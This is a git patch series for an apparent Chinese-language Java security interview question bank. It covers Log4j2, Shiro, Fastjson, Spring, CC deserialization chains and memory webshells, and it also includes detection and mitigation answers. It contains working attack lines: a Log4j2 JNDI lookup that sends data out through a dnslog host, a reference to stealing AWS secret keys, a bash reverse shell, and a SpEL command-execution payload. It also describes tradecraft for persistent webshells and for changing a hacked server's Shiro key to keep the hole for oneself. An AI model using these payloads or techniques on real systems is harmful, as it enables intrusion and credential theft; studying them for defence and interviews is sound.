-修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE +修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后`lookup`触发RCE @@ -16,7 +16,7 @@ 其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 -另一个DOS是嵌套标签`${}`导致栈溢出 +另一个DOS是嵌套标签`${}`递归解析导致栈溢出 @@ -40,7 +40,7 @@ 利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` -在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 +在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息,不过`SpringBoot`默认不使用`log4j2` 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` @@ -50,5 +50,4 @@ 利用JavaAgent改JVM中的字节码,可以直接删了`JndiLookup`的功能 -有公众号提出类似`Shiro`改`Key`的思路,利用反射把`JndiLookup`删了也是一种办法 - +有公众号提出类似`Shiro`改`Key`的思路,利用反射把`JndiLookup`删了也是一种办法 \ No newline at end of file diff --git a/memshell/README.md b/memshell/README.md index 9faac8e..b3819e1 100644 --- a/memshell/README.md +++ b/memshell/README.md @@ -2,10 +2,12 @@ - Tomcat和Spring内存马分别有哪些(★) -Tomcat内存马有:Filter型,Servlet型,Listener型,Java Agent型 +Tomcat内存马有:Filter型,Servlet型,Listener型 Spring内存马有:Controller型,Interceptor型 +Java Agent内存马:这种方式不仅限于`Tomcat`或`Spring` + - Servlet/Filter内存马查杀手段是怎样的(★★★) @@ -20,9 +22,9 @@ Spring内存马有:Controller型,Interceptor型 - Filter内存马查杀时候有什么明显特征吗(★★★) -首先是类名可能是恶意的,或者报名和项目名不符,可以一眼看出 +首先是类名可能是恶意的,或者包名和项目名不符,可以一眼看出 -其次优先级肯定是第一位的,这由内存马的特性决定,重点关注第一个Filter +其次优先级肯定是第一位的,这由内存马的特性决定,所以应该重点关注第一个Filter 观察ClassLoader是否是不正常的,以及是否存在对应的Class文件 @@ -30,7 +32,7 @@ Spring内存马有:Controller型,Interceptor型 - 如何实现无法删除的Servlet/Filter内存马(★★★★) -有一种思路是再`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法 +有一种思路是在`destroy`方法中加入再注册内存马的代码,但并不是所有删除方式都会触发`destroy`方法 所以另外的思路是跑一个不死线程,循环检测该内存马是否存在,以及注册的功能 @@ -40,26 +42,27 @@ Spring内存马有:Controller型,Interceptor型 内存马持久化这个问题必须要往本地写文件 -一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,再`doFilter`等位置插入恶意字节码 - -4ra1n师傅提到的修改Tomcat的Lib也是一种手段 +一般来说可以往Tomcat里写字节码或者直接改写依赖的Jar,在`doFilter`等位置插入恶意字节码 +4ra1n师傅提到的修改Tomcat的Lib也是一种手段,在默认开启的`WsFilter`中修改代码 -- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法 +- 内存马持久化写字节码方式除了`@Filter`标签还有什么办法(★★★) 使用`ServletContainerInitializer`用于在容器启动阶段注册三大组件,取代`web.xml`配置。其中`onStartup`方法会在`Tomcat`中间件重启加载当前`webapp`会优先执行这个方法。通过改方法,我们可以注册一个`webshell`的`filter` - Java Agent内存马的查杀(★★★) -网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中所有的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 +网上师傅提到用`sa-jdi.jar`工具来做,这是一个JVM性能检测工具,可以dump出JVM中可能有问题的Class文件,尤其重点关注`HttpServletr.service`方法,这是Agent内存马常用的手段 - 如果有一个陌生的框架你如何挖内存马(★★★) -核心是找到类似`Tomcat`和`Spring`中类似`Context`的对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。可以从常见的类名称入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等。可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象 +核心是找到类似`Tomcat`和`Spring`中的`Context`对象,然后尝试从其中获取`request`和`response`对象以实现内存马的功能。 +可以从常见的类名入手:Requst、ServletRequest、RequstGroup、RequestInfo、RequestGroupInfo等等 +可以参考c0ny1师傅的`java-object-searcher`项目,半自动搜索`request`对象 \ No newline at end of file diff --git a/shiro/README.md b/shiro/README.md index a870f1b..76754ab 100644 --- a/shiro/README.md +++ b/shiro/README.md @@ -8,7 +8,9 @@ - Shiro反序列化怎么检测key(★★★) -实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key +实例化一个`SimplePrincipalCollection`并序列化,遍历key列表对该序列化数据进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送 + +如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key @@ -26,9 +28,9 @@ - Shiro反序列化Gadget选择有什么坑吗(★★★) -默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致 +默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID`不一致 -另一个CB1的坑是`Comparator`来自于CC,需要使用如下的 +另一个CB1的坑是`Comparator`来自于CC,需要使用如下的才可以在没有CC依赖情况下成功RCE ```java BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); @@ -40,11 +42,13 @@ BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORD Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 -解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载 +解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致 + +另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,解决办法是可以写文件后`URLClassLoader`加载 -- 有什么办法让Shiro洞只能被你一人发现(★★) +- 有什么办法让Shiro洞不被别人挖到(★★) 发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 @@ -52,4 +56,4 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大 - Shiro的权限绕过问题了解吗(★★) -主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` +主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page`为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}`,原理同上 diff --git a/spring/README.md b/spring/README.md index e68682f..c0bc5c9 100644 --- a/spring/README.md +++ b/spring/README.md @@ -6,6 +6,38 @@ Spring处理参数值出错时会将参数中`${}`中的内容当作`SPEL`解析 +- 谈谈Spring Data REST SPEL RCE(★★) + +当使用`JSON PATCH`对数据修改时,传入的`PATH`参数会解析`SPEL` + + + +- 谈谈Spring Web Flow SPEL RCE(★★) + +在`Model`的数据绑定上存在漏洞,但漏洞出发条件比较苛刻 + +由于没有明确指定相关`Model`的具体属性,导致从表单可以提交恶意的表达式`SPEL`被执行 + + + +- 谈谈Spring Messaging SPEL RCE(★★) + +其中的`STOMP`模块发送订阅命令时,支持选择器标头,该选择器充当基于内容路由的筛选器 + +这个筛选器`selector`属性的值会解析`SPEL`导致RCE + + + +- 谈谈Spring Data Commons SPEL RCE(★★) + +请求参数中如何包含`SPEL`会被解析,参考下方Payload + +```text +username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")] +``` + + + - 谈谈SpringCloud SnameYAML RCE(★★★) 该漏洞的利用条件是可出网,可以`POST`访问`/env`接口设置属性,且可以访问`/refresh`刷新配置 From ad8a792f2480f8b179bbd0327f4d97a5dd2d8c6c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Wed, 16 Feb 2022 10:40:28 +0800 Subject: [PATCH 20/29] cc --- README.md | 4 ++- cc/README.md | 71 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+), 1 deletion(-) create mode 100644 cc/README.md diff --git a/README.md b/README.md index 1014681..28446e2 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ ## 分类 -当前问题总数:67 +当前问题总数:75 [Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) @@ -32,6 +32,8 @@ [内存马专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) +[反序列化CC链专题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/cc) + ## 参考 https://github.com/LandGrey/SpringBootVulExploit diff --git a/cc/README.md b/cc/README.md new file mode 100644 index 0000000..12709e9 --- /dev/null +++ b/cc/README.md @@ -0,0 +1,71 @@ +## CC + +- 谈下CC链中三个重要的`Transformer`(★★★) + +`ConstantTransformer`类的`transform`方法直接返回传入的类对象 + +`ChainedTransformer`类中的`transform`方法会链式调用其中的其他`Transformer.transform`方法 + +`InvokerTransformer`类根据传入参数可以反射调用对应的方法 + +`InstantiateTransformer`类可以直接实例化对象 + + + +- 谈谈CC1(★★★) + +原理是`LazyMap.get`可以触发构造的`Transformer`链的`transform`方法导致`RCE` + +基于动态代理触发的`LazyMap.get`,在`AnnotationInvocationHanlder`中的`invoke`方法中存在`Map.get`操作 + + + +- 谈谈CC2(★★★) + +该链用到`TemplatesImpl`类,生成恶意的字节码实例化 + +不过触发点是`PriorityQueue`类,反射设置属性`TransformingComparator` + +`PriorityQueue`类是优先队列,其中包含了排序功能,该功能可以设置比较器`comparator`,而`TransformingComparator`的`compare`方法会调用对象的`transform`方法 + +于是通过`InvokerTransformer`类的`transform`方法调用`TemplatesImpl.newTransformer`方法导致`RCE` + + + +- 谈谈CC3(★★★) + +该链用到`TemplatesImpl`类,生成恶意的字节码实例化 + +仍然是基于动态代理和`LazyMap.get`触发`InstantiateTransformer`的`transform`方法导致`RCE` + + + +- 谈谈CC4(★★★) + +和CC2链一致,不过触发时候不是`InvokerTransformer`而是`InstantiateTransformer`类直接实例化`TrAXFilter`子类执行`/`导致`RCE` + + + +- 谈谈CC5(★★★) + +还是基于`LazyMap.get`触发的,不过没有动态代理,是通过`BadAttributeValueExpException.readObject()`调用`TiedMapEntry.toString()` + +在`TiedMapEntry.getValue()`中存在`Map.get`导致`LazyMap.get`触发`transform` + + + +- 谈谈CC6(★★★) + +还是基于`LazyMap.get`触发的,通过`HashMap.readObject()`到达`HashMap.hash()`方法,由于key是`TiedMapEntry`所以调用`TiedMapEntry.hashCode()` + +而`hashCode`方法会调用到`TiedMapEntry.getValue()`方法,由于`Map.get`导致`LazyMap.get`触发`transform` + + + +- 谈谈CC7(★★★) + +还是基于`LazyMap.get`触发的,通过`Hashtable.readObject()`触发了key的`equals`方法,跟入`AbstractMap.equals`方法 + +其中包含了`Map.get`导致`LazyMap.get`触发`transform` + +但该链有一个坑:哈希碰撞 \ No newline at end of file From ef86a45aa65f5e2d980f43742069e12b9915ea4c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Wed, 16 Feb 2022 12:32:18 +0800 Subject: [PATCH 21/29] update --- README.md | 10 ++++++---- java/README.md | 2 +- log4j2/README.md | 26 ++++++++++++++++++++++++++ 3 files changed, 33 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 28446e2..6739a33 100644 --- a/README.md +++ b/README.md @@ -10,15 +10,17 @@ 计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库(包含问题和详细的答案) -最低难度★ 最高难度★★★★★ +作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR +## 难度 +最低难度★ 最高难度★★★★★ -作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR +个人认为安服崽需要掌握★-★★难度的问题,想进大厂或实验室至少需要全部掌握 ## 分类 -当前问题总数:75 +当前问题总数:78 [Java本身的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) @@ -26,7 +28,7 @@ [Fastjson组件相关的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/fastjson) -[Log4j2组件相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Log4j2组件相关的安全问题 - 10个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) [Spring框架相关的安全问题 - 16个](https://github.com/4ra1n/JavaSecInterview/tree/master/spring) diff --git a/java/README.md b/java/README.md index 756d17b..3a7ff16 100644 --- a/java/README.md +++ b/java/README.md @@ -226,7 +226,7 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式 -- 是否了解JDBC Connection URL攻击 +- 是否了解JDBC Connection URL攻击(★★★) 果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据 diff --git a/log4j2/README.md b/log4j2/README.md index b070d72..9052371 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -6,6 +6,32 @@ +- Log4j2漏洞的黑盒检测(★) + +由于该漏洞的特性,必须要出网才可以检测,例如`dnslog`的方式 + +在内网中也可不使用`dnslog`而是自行实现伪`JDNI/LDAP`的服务端用于探测 + + + +- Log4j2漏洞的白盒检测(★) + +检查`pom.xml`或`gradle`中的依赖,是否存在`log4j2-api`和`log4j2-core`小于`2.15.0`则存在漏洞 + + + +- Log4j2的紧急修复手段(★★) + +在JVM参数中添加`-Dlog4j2.formatMsgNoLookups=true` + +系统环境变量中将`LOG4J_FORMAT_MSG_NO_LOOKUPS`设置为`true` + +创建`log4j2.component.properties`文件并增加配置`log4j2.formatMsgNoLookups=true` + +不重启应用情况下的修复手段参考另一个问题 + + + - 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) 修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后`lookup`触发RCE From a25c7c114643bda91fcc2d7b6fbf0be2b35799a0 Mon Sep 17 00:00:00 2001 From: 4ra1n <34726933+4ra1n@users.noreply.github.com> Date: Wed, 16 Feb 2022 22:21:00 +0800 Subject: [PATCH 22/29] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 6739a33..4b55b86 100644 --- a/README.md +++ b/README.md @@ -53,3 +53,7 @@ https://www.cnpanda.net/ https://gv7.me/ https://github.com/safe6Sec/Fastjson + +## Star + +![](https://starchart.cc/4ra1n/JavaSecInterview.svg) From 346a181df5a376daaebdfd1069a234520132e557 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Wed, 16 Feb 2022 23:46:15 +0800 Subject: [PATCH 23/29] format --- auto.py | 2 +- cc/README.md | 16 ++++++++-------- fastjson/README.md | 30 +++++++++++++++--------------- java/README.md | 32 ++++++++++++++++---------------- log4j2/README.md | 20 ++++++++++---------- memshell/README.md | 16 ++++++++-------- shiro/README.md | 16 ++++++++-------- spring/README.md | 32 ++++++++++++++++---------------- 8 files changed, 82 insertions(+), 82 deletions(-) diff --git a/auto.py b/auto.py index fc5171a..f099a83 100644 --- a/auto.py +++ b/auto.py @@ -13,7 +13,7 @@ temp_lines = temp.readlines() total = 0 for q in temp_lines: - if q.startswith("-"): + if q.startswith("###"): total = total + 1 p = line.split("-")[0] s = line.split("个]")[1] diff --git a/cc/README.md b/cc/README.md index 12709e9..c2321bb 100644 --- a/cc/README.md +++ b/cc/README.md @@ -1,6 +1,6 @@ ## CC -- 谈下CC链中三个重要的`Transformer`(★★★) +### 谈下CC链中三个重要的`Transformer`(★★★) `ConstantTransformer`类的`transform`方法直接返回传入的类对象 @@ -12,7 +12,7 @@ -- 谈谈CC1(★★★) +### 谈谈CC1(★★★) 原理是`LazyMap.get`可以触发构造的`Transformer`链的`transform`方法导致`RCE` @@ -20,7 +20,7 @@ -- 谈谈CC2(★★★) +### 谈谈CC2(★★★) 该链用到`TemplatesImpl`类,生成恶意的字节码实例化 @@ -32,7 +32,7 @@ -- 谈谈CC3(★★★) +### 谈谈CC3(★★★) 该链用到`TemplatesImpl`类,生成恶意的字节码实例化 @@ -40,13 +40,13 @@ -- 谈谈CC4(★★★) +### 谈谈CC4(★★★) 和CC2链一致,不过触发时候不是`InvokerTransformer`而是`InstantiateTransformer`类直接实例化`TrAXFilter`子类执行`/`导致`RCE` -- 谈谈CC5(★★★) +### 谈谈CC5(★★★) 还是基于`LazyMap.get`触发的,不过没有动态代理,是通过`BadAttributeValueExpException.readObject()`调用`TiedMapEntry.toString()` @@ -54,7 +54,7 @@ -- 谈谈CC6(★★★) +### 谈谈CC6(★★★) 还是基于`LazyMap.get`触发的,通过`HashMap.readObject()`到达`HashMap.hash()`方法,由于key是`TiedMapEntry`所以调用`TiedMapEntry.hashCode()` @@ -62,7 +62,7 @@ -- 谈谈CC7(★★★) +### 谈谈CC7(★★★) 还是基于`LazyMap.get`触发的,通过`Hashtable.readObject()`触发了key的`equals`方法,跟入`AbstractMap.equals`方法 diff --git a/fastjson/README.md b/fastjson/README.md index 0a04166..82405e6 100644 --- a/fastjson/README.md +++ b/fastjson/README.md @@ -1,30 +1,30 @@ # Fastjson -- 使用`JSON.parse()`和`JSON.parseObject()`的不同(★) +### 使用`JSON.parse()`和`JSON.parseObject()`的不同(★) 前者会在JSON字符串中解析字符串获取`@type`指定的类,后者则会直接使用参数中的`class`,并且对应类中所有`getter`和`setter`都会被调用 -- 什么情况下反序列化过程会反射调用`getter`(★) +### 什么情况下反序列化过程会反射调用`getter`(★) 符合`getter`规范的情况且不存在`setter` -- 如果不存在`setter`和`getter`方法可以反射设置值吗(★) +### 如果不存在`setter`和`getter`方法可以反射设置值吗(★) 需要服务端开启`Feature.SupportNonPublicFiel`参数,实战无用 -- Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★) +### Fastjson在反序列化`byte[]`类型的属性时会做什么事情(★) 将会在反序列化时候进行`base64`编码 -- 谈谈常见的几种Payload(★★★) +### 谈谈常见的几种Payload(★★★) 首先是最常见的`JdbcRowSetImpl`利用`JDNI`注入方式触发,需要出网 @@ -36,21 +36,21 @@ -- 是否存在不出网的Fastjson利用方式(★★★) +### 是否存在不出网的Fastjson利用方式(★★★) 第一种是`TemplatesImpl`类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋 -第二种方式是服务端存在在`tomcat-dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE` +第二种方式是服务端存在在`tomcat###dbcp.jar`情况下,使用`BasicDataSource`配合`BCEL`可实现不出网`RCE` -- 谈谈1.2.47版本之前各个小版本的绕过(★★★) +### 谈谈1.2.47版本之前各个小版本的绕过(★★★) 首先是利用解析问题可以加括号或大写L绕过低版本,高版本利用了哈希黑名单,之所以要哈希是因为防止黑客进行分析。但黑名单还是被破解了,有师傅找到可以绕过了类。在1.2.47版本中利用缓存绕过 -- Fastjson应该如何探测(★★) +### Fastjson应该如何探测(★★) 使用`dnslog`做检测是最常见的方式,利用`java.net.Inet[4][6]Address`或`java.net.InetSocketAddress`或`java.net.URL`类,之所以使用这三个因为不在黑名单中,可以直接检测 @@ -60,7 +60,7 @@ -- 谈谈1.2.68版本的绕过(★★) +### 谈谈1.2.68版本的绕过(★★) 1.2.68之前的66和67可以利用`JNDI`相关类,比如`Shiro`的`JndiObjectFactory`和`ignite`项目的类 @@ -72,7 +72,7 @@ -- 谈谈Fastjson的WAF Bypass手段(★★★) +### 谈谈Fastjson的WAF Bypass手段(★★★) Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时还会自动将键值进行`unicode`与十六进制解码 @@ -82,14 +82,14 @@ Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时 -- 除了RCE还能有什么利用(★★★) +### 除了RCE还能有什么利用(★★★) 信息泄露或者ReDoS,参考下方Payload ```json { "regex":{ - "$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]" + "$ref":"$[\blue = /\^[a###zA###Z]+(([a###zA###Z ])?[a###zA###Z]*)*$/]" }, "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" } @@ -108,12 +108,12 @@ Fastjson默认会去除键值外的空格、\b、\n、\r、\f等字符,同时 -- 是否了解自动挖掘Fastjson利用链的方式(★★★★) +### 是否了解自动挖掘Fastjson利用链的方式(★★★★) 利用链主要集中在`getter`和`setter`方法中,如果`getter`或者`setter`的方法中存在一些危险操作比如`JNDI`查询,如果参数可控就可以导致`JNDI`注入 简单来说,直接搜对应项目中`JNDI`的`lookup`方法,可以基于`ASM`解压分析`Jar`包,这种半自动结合人工审核的方式其实很好用(之前挖到过几个) -进一步来说,全自动的方式可以使用`codeql`或`gadget-inspector`工具来做,主要是加入了污点传递,分析`getter/setter`参数如何传递到`lookup` +进一步来说,全自动的方式可以使用`codeql`或`gadget###inspector`工具来做,主要是加入了污点传递,分析`getter/setter`参数如何传递到`lookup` 关闭全自动分析原理,一般面试官不会问太深入,因为可能涉及到静态分析相关的技术,普通安服崽的面试不会太过深入,如果是实验室可能需要再学习一下 \ No newline at end of file diff --git a/java/README.md b/java/README.md index 3a7ff16..1faf94d 100644 --- a/java/README.md +++ b/java/README.md @@ -1,12 +1,12 @@ ## JDK -- Java反射做了什么事情(★) +### Java反射做了什么事情(★) 反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果 -- Java反射可以修改Final字段嘛(★★) +### Java反射可以修改Final字段嘛(★★) 可以做到,参考以下代码 @@ -20,7 +20,7 @@ field.set(null, newValue); -- 传统的反射方法加入黑名单怎么绕(★★★) +### 传统的反射方法加入黑名单怎么绕(★★★) 可以使用的类和方法如下(参考三梦师傅) @@ -38,7 +38,7 @@ JSClassLoader.newInstance -- Java中可以执行反弹shell的命令吗(★★) +### Java中可以执行反弹shell的命令吗(★★) 可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` @@ -77,7 +77,7 @@ public static String getPowershellCommand(String cmd) { -- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) +### 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) 其实这个问题有点类似`JSP Webshell`免杀 @@ -85,7 +85,7 @@ public static String getPowershellCommand(String cmd) { -- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) +### RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 @@ -93,7 +93,7 @@ LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trust -- RMI和LDAP的限制版本分别可以怎样绕过(★★) +### RMI和LDAP的限制版本分别可以怎样绕过(★★) RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 @@ -103,7 +103,7 @@ LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` -- 谈谈TemplatesImpl这个类(★★) +### 谈谈TemplatesImpl这个类(★★) 这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 @@ -122,7 +122,7 @@ TemplatesImpl.getOutputProperties() -- 了解BCEL ClassLoader吗(★) +### 了解BCEL ClassLoader吗(★) BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 @@ -132,7 +132,7 @@ BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一 -- 谈谈7U21反序列化(★★★★★) +### 谈谈7U21反序列化(★★★★★) 从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 @@ -180,7 +180,7 @@ LinkedHashSet.readObject() -- 谈谈8U20反序列化(★★★★★) +### 谈谈8U20反序列化(★★★★★) 这是7U21修复的绕过 @@ -190,13 +190,13 @@ LinkedHashSet.readObject() -- 了解缩小反序列化Payload的手段吗(★★★) +### 了解缩小反序列化Payload的手段吗(★★★) 首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 -- 谈谈实战中命令执行有哪些回显的办法(★★★★) +### 谈谈实战中命令执行有哪些回显的办法(★★★★) 首先想到的办法是`dnslog`等技术进行外带,但必须出网,有限制 @@ -210,7 +210,7 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式 -- 有没有了解过针对`linux`的通杀的回显方式(★★★★) +### 有没有了解过针对`linux`的通杀的回显方式(★★★★) 获取本次`http`请求用到`socket`的文件描述符,然后往文件描述符里写命令执行的结果 @@ -218,7 +218,7 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式 -- 是否存在针对`windows`的通杀的回显方式(★★★★) +### 是否存在针对`windows`的通杀的回显方式(★★★★) 原理类似`linux`的通杀回显,在`windows`中`nio/bio`中有类似于`linux`文件描述符这样的句柄文件 @@ -226,7 +226,7 @@ Y4er师傅提到的自定义类加载器配合RMI的一种方式 -- 是否了解JDBC Connection URL攻击(★★★) +### 是否了解JDBC Connection URL攻击(★★★) 果我们可以控制`JDBC URI`就可将`JDBC`连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据 diff --git a/log4j2/README.md b/log4j2/README.md index 9052371..cace744 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -1,12 +1,12 @@ ## Log4j2 -- 谈谈Log4j2漏洞(★★) +### 谈谈Log4j2漏洞(★★) 漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 -- Log4j2漏洞的黑盒检测(★) +### Log4j2漏洞的黑盒检测(★) 由于该漏洞的特性,必须要出网才可以检测,例如`dnslog`的方式 @@ -14,13 +14,13 @@ -- Log4j2漏洞的白盒检测(★) +### Log4j2漏洞的白盒检测(★) 检查`pom.xml`或`gradle`中的依赖,是否存在`log4j2-api`和`log4j2-core`小于`2.15.0`则存在漏洞 -- Log4j2的紧急修复手段(★★) +### Log4j2的紧急修复手段(★★) 在JVM参数中添加`-Dlog4j2.formatMsgNoLookups=true` @@ -32,13 +32,13 @@ -- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) +### 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) 修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后`lookup`触发RCE -- Log4j2的两个DOS CVE了解吗(★★) +### Log4j2的两个DOS CVE了解吗(★★) 其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 @@ -46,13 +46,13 @@ -- Log4j2 2.15.0正式版的绕过了解吗(★★★) +### Log4j2 2.15.0正式版的绕过了解吗(★★★) 正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 -- Log4j2绕WAF的手段有哪些(★★) +### Log4j2绕WAF的手段有哪些(★★) 使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 @@ -62,7 +62,7 @@ -- Log4j2除了RCE还有什么利用姿势(★★★) +### Log4j2除了RCE还有什么利用姿势(★★★) 